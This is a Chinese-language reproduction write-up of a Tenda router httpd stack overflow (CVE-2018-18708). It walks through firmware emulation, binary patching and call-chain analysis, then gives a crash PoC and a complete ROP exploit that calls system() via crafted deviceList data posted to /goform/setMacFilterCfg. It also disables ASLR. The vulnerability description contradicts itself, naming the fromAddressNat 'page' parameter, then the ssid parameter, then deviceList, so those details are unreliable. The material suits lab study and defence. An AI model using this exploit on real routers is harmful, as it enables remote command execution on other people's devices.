1 漏洞概述
从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述。
An issue was discovered on Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices. It is a
buffer overflow vulnerability
in the router’s web server –
httpd
. When processing the “page” parameter of the function “fromAddressNat” for a post request, the value is directly used in a sprintf to a local variable placed on the stack, which overrides the return address of the function.
CVE-2018-18708,在Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN等多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可以利用该漏洞,覆盖函数的返回地址,造成拒绝服务攻击。
2 环境搭建
2.1 ubuntu20.04系统下的qemu虚拟机启动debian-arm32系统配置流程
拷贝镜像文件
ubuntu安装网桥工具
# docker容器安装
sudo apt install docker.io
sudo systemctl start docker
sudo apt install net-tools
ifconfig
sudo apt-get update
sudo apt-get install uml-utilities bridge-utils ifupdown
# 网络设置
# 链接网桥和借口
sudo tunctl -t tap0
sudo ifconfig tap0 up
sudo brctl addif docker0 tap0
sudo apt update # 更新apt
sudo apt install qemu # 安装qemu
sudo apt install qemu-system-arm qemu
#通过qemu启动配置完成的Debian-armhf系统
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
#上述命令执行后,会出现debian-armhf login: ,账号密码都是root
ip addr add 172.17.0.111/24 dev eth0
ip route add default via 172.17.0.1
2.2 固件模拟
2.2.1 解压固件
首先把固件文件拷贝到文件夹中,然后在终端里将固件解压。进入固件文件夹,根据elf文件头查看一下文件信息。
sudo apt-get install binwalk
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
cd squashfs-root/
readelf -h bin/busybox
32位小端,之后反编译的时候用IDA32反编译。
2.2.2 试运行漏洞文件
我们首先使用qemu-arm-static配合chroot启动待分析的目标文件bin/httpd。使用的命令如下
sudo apt install qemu-user-static
cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd
我们发现程序出现一个错误,不存在
/proc/sys/kernel/core_pattern
这样一个文件夹,并且程序的执行,卡在了上图字符串的位置。
首先,我们使用一下指令创建一个程序需要的文件夹。
mkdir -p ./proc/sys/kernel
2.2.3 patch二进制文件
为了使程序能继续进行下去,我们在IDA中通过字符串搜索(ctrl+F)
Welcome
字符串,使用
ctrl+x
查看交叉引用进入到打印了该字符串的函数。
明显的此处我们程序运行到第42行时,因为
check_network
返回的值,程序进入了死循环。
在图视图中看一下,这里是一条
BL
指令,然后将函数的返回值从
r0
中,转移到
r3
中,为了是我们的程序能绕过此处的死循环,我们可以使用IDA提供的
patch bytes
功能将
MOV R3, R0
替换成
MOV R3, #1
,这样我们的程序就可以按照我们设想的流程进行下去,两处的逻辑相同,可使用同一种方法进行绕过。
我们借助rasm2工具翻译汇编指令到机器指令,使用的指令如下。
sudo apt install radare2
rasm2 -a arm "mov r3,1"
rasm2 -a arm "mov r3,r0"
IDA中
Edit->Patch program->change byte
更改鼠标指针处的字节。
pathch过后的十六进制视图和图视图如下:
然后,
Edit->Patch program->Apply patches to input file
将我们的更改保存进二进制文件。
2.2.4 更改监听IP地址
更换掉httpd文件,此时我们重新运行,程序正常运行。
此时的监听的ip地址不对,我们配置一下网络,建立一个虚拟网桥br0,并再次运行。
sudo brctl addbr br0
sudo ifconfig br0 172.17.0.222 up
尝试访问一下页面,还是出现错误。
按照0431师傅的做法执行以下指令,然后刷新一下就正常了。
cp -rf ./webroot_ro/* ./webroot/
2.2.5 使用到的PWN工具安装
主要使用到了ROPgadget,pwngdb以及pwntools。
#安装pwntools以及ropgadget,还有后面要用到的pwngdb
sudo apt install vim
sudo apt install git
sudo apt install gcc
sudo apt install python3-pip
sudo apt install python-is-python3
sudo apt-get install qemu-user qemu-system
sudo apt-get install gdb-multiarch
cd ~
mkdir tools
cd ~/tools
git clone https://github.com/Gallopsled/pwntools.git
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
cd ~
sudo pip3 install capstone
cd tools
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo python3 setup.py install
cd ~/tools
git clone https://github.com/pwndbg/pwndbg.git
sudo apt install python3-testresources
cd ~/tools/pwndbg
sudo python3 -m pip install setuptools
./setup.sh
至此,环境配置结束。
3 漏洞分析
首先在bin文件中找到存在漏洞的文件
httpd
,使用checksec看一下开启的保护:
32位程序,可以发现没有开启PIE和 canary保护。漏洞原因是web服务器在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。根据ssid字符串定位到
form_fast_setting_wifi_set
函数。
程序获取ssid参数后,没有经过检查就直接使用
strcpy
函数复制到栈变量中。
漏洞的跟踪与分析一般有两种思路:
- 正向数据流跟踪:从输入函数开始跟踪数据处理逻辑
- 逆向数据流跟踪:从操作函数反向跟踪参数的数据流,找到源缓冲区和目的缓冲区。
根据官方给出的PoC,可以定位到漏洞点的位置,在函数
sub_C24C0
。
3.1 逆向分析回溯函数的调用关系
因为我们已经知道了目标漏洞代码的位置,这里采用逆向数据流跟踪方式。在之前我们patch byte时,程序已经执行到了
sub_2E420
,而溢出点在
sub_C24C0
,我们将这两个函数中间的函数调用过程都通过IDA中的调用关系(单击函数名,按x查看调用了此函数的所有函数),全部梳理出来。
得到调用链为:sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC (initWebs函数)<- sub_2E420(main函数),分析清楚了触发漏洞的路径。
3.2 逆向数据流跟踪参数来源
跟踪梳理出漏洞代码strcpy函数中源地址s的来源。
(1)被溢出的缓冲区a2来自sub_C24C0函数的上一级函数sub_C17A0的v12,缓冲区的长度为176。
(2)溢出的字符串src的来源
src ← sub_C24C0函数的a1← sub_C17A0的a2参数 ← sub_C14DC的a2参数 ← formSetMacFilterCfg函数的v39 ← sub_2BA8C(v3, “deviceList”, &unk_F5124)函数的返回值。
一路查看参数引用跟上来还是挺简单的。
由此可以判断出,程序获取到HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点。
3.3 调用路径中的分支跳转条件分析
我们看一下之前的函数关系,以及src参数的来源,基本上路径上是吻合的。
sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC (initWebs函数)<- sub_2E420(main函数)
我们从sub_2E420函数开始,逐一查看路径中的分支跳转。
(1) sub_2E9EC<- sub_2E420
网络监测后,无分支。
(2) sub_42378 <- sub_2E9EC
有分支判断,但条件已经满足。
(3) formSetMacfiltercfg <- sub_42378
该函数中有不同功能的处理函数。请求达到的路径,会调用相应的处理函数,我们需要找到函数formSetMacfiltercfg 的路径。要进入formSetMacfiltercfg函数需要访问”/goform/setMacFilterCfg”。
(4) sub_C14DC <- formSetMacfiltercfg
需要让v19=0,而v19来自于sub_C10D0函数对macFilterType的参数处理。
进入sub_C10D0函数看看macFilterType需要如何设置,只需要a1等于”black”或者”white”即可返回0。
data = {“macFilterType”:“white”,“deviceList”:payload}
(5) sub_C17A0 <- sub_C14DC
有分支判断,但条件已经满足。
(6) sub_C24C0 <- sub_C17A0
有分支判断,但条件已经满足。
**(7) sub_C24C0 **
3.4 漏洞触发
结合抓包分析报文确定poc格式为:
import requests
url = "http://192.168.2.3/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "\r"+ "A"*500}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
用到的终端命令为:
# 第一个终端
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
# 第二个终端
gdb-multiarch
target remote :1234
continue
#第三个终端
执行python脚本
运行PoC后成功的覆盖了返回地址,PC寄存器的值。
4 漏洞利用
(1) 寻找偏移量
利用cyclic找到偏移量
这里记得检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。这里图中所示T是0。
(2) 确定利用方案
之前我们对httpd文件进行的保护机制检查,程序开启了NX保护,无法直接执行栈中的shellcode,我们使用ROP技术来绕过NX。初步的思路是:
-
- 将system函数地址写入某寄存器。
-
- 向r0寄存器中填入内容(即system函数的参数),并跳转到system函数。
-
- 我们还需要libc.so的基地址。
-
- system函数在libc中的偏移。
libc基地址
首先,确定system函数的地址需要先找到libc的基址,根据偏移再计算出system函数的真实地址。qemu-user模拟不支持vmmap指令打印内存信息,官方给出了说明:https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py。所以我们使用puts函数泄露libc地址,gdb调试下断点到puts函数,可以看到地址为0xff5c1cd4,在IDA中查看puts函数的地址为0x35cd4,得到偏移量为:0xff5c1cd4 – 0x35cd4 = 0xff58c000.而且需要说明的一点是,每次调试libc的基地址都是相同的,这是因为gdb调试的默认关闭了ASLR。
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
gdb-multiarch
target remote :1234
file ./bin/httpd
b puts
continue
continue
获取system函数偏移量
readelf -s ./lib/libc.so.0 |grep system
找到一个可以控制R0的gadget
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3
跳转到R3的gadget
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
最终 payload格式为:[offset, gadget1, system_addr, gadget2, cmd],流程如下:
- 溢出处函数返回跳转到第一个gadget1 (pop {r3, pc}) ;
- 栈顶第一个元素(system_addr弹出到R3寄存器,第二个元素(gadget2:mov r0, sp ; blx r3})弹出到PC,使程序流执行到gadget2;
-
此时的栈顶内容(cmd)放入RO寄存器,并使程序跳转到R3寄存器指
向的地址去执行。
整理后我们的POC为:
from pwn import *
import requests
#cmd = "echo PWN!"
cmd = b"echo PWN!"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b'a'*176
#payload+= str(p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)).encode() + cmd
#payload+= str((p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)),encoding="utf-8") + cmd
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://172.17.0.222/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
执行之后可以看到输出了”PWN!”。
附件
1 完整的命令流程
# docker容器安装
sudo apt install docker.io
sudo systemctl start docker
sudo apt install net-tools
ifconfig
sudo apt-get update
sudo apt-get install uml-utilities bridge-utils ifupdown
# 网络设置
# 链接网桥和借口
sudo tunctl -t tap0
sudo ifconfig tap0 up
sudo brctl addif docker0 tap0
sudo apt update # 更新apt
sudo apt install qemu # 安装qemu
sudo apt install qemu-system-arm qemu
#通过qemu启动配置完成的Debian-armhf系统
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
#上述命令执行后,会出现debian-armhf login: ,账号密码都是root
ip addr add 172.17.0.111/24 dev eth0
ip route add default via 172.17.0.1
# 固件模拟,解压固件
sudo apt-get install binwalk
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
cd squashfs-root/
readelf -h bin/busybox
#使用qemu-arm-static配合chroot启动待分析的目标文件bin/httpd
sudo apt install qemu-user-static
cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd
# 修复错误,绕过死循环
mkdir -p ./proc/sys/kernel
sudo apt install radare2
rasm2 -a arm "mov r3,1"
rasm2 -a arm "mov r3,r0"
# 修复ip错误
sudo chroot ./ ./qemu-arm-static ./bin/httpd
sudo lsof -i:80
# 添加br0虚拟网卡
sudo brctl addbr br0
sudo ifconfig br0 172.17.0.222 up
# 解决网页错误问题
cp -rf ./webroot_ro/* ./webroot/
#安装pwntools以及ropgadget,还有后面要用到的pwngdb
sudo apt install vim
sudo apt install git
sudo apt install gcc
sudo apt install python3-pip
sudo apt install python-is-python3
sudo apt-get install qemu-user qemu-system
sudo apt-get install gdb-multiarch
cd ~
mkdir tools
cd ~/tools
git clone https://github.com/Gallopsled/pwntools.git
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
cd ~/tools
git clone https://github.com/pwndbg/pwndbg.git
sudo apt install python3-testresources
cd ~/tools/pwndbg
sudo python3 -m pip install setuptools
./setup.sh
cd ~
sudo pip3 install capstone
cd tools
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo python3 setup.py install
# 如果依旧出现类似这样的错误
# pkg_resources.ResolutionError: Script 'scripts/ROPgadget' not found in metadata at '/home/fuxian/.local/lib/python3.8/site-packages/ROPGadget-7.2.dist-info'
# 使用如下指令,将ROPgadget文件夹中的scripts文件夹拷贝到他要的文件夹
# sudo cp -r scripts/ /home/fuxian/.local/lib/python3.8/site-packages/ROPGadget-7.2.dist-info
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
# 漏洞触发
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
gdb-multiarch
target remote :1234
continue
# 漏洞利用
readelf -s ./lib/libc.so.0 |grep system
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
gdb-multiarch
target remote :1234
file ./bin/httpd
b puts
continue
continue
2 漏洞触发PoC
import requests
url = "http://172.17.0.222/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType":"white","deviceList":"\r"+"A"*500}
requests.post(url,cookies=cookie,data=data)
requests.post(url,cookies=cookie,data=data)
3 漏洞利用PoC
from pwn import *
import requests
#cmd = "echo PWN!"
cmd = b"echo PWN!"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b'a'*176
#payload+= str(p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)).encode() + cmd
#payload+= str((p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)),encoding="utf-8") + cmd
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://172.17.0.222/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
参考链接
[原创]Tenda 路由器栈溢出详细分析(CVE-2018-18708)
CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析
CVE-2018-16333:Tenda路由器缓冲区溢出漏洞复现(含qemu调试环境搭建)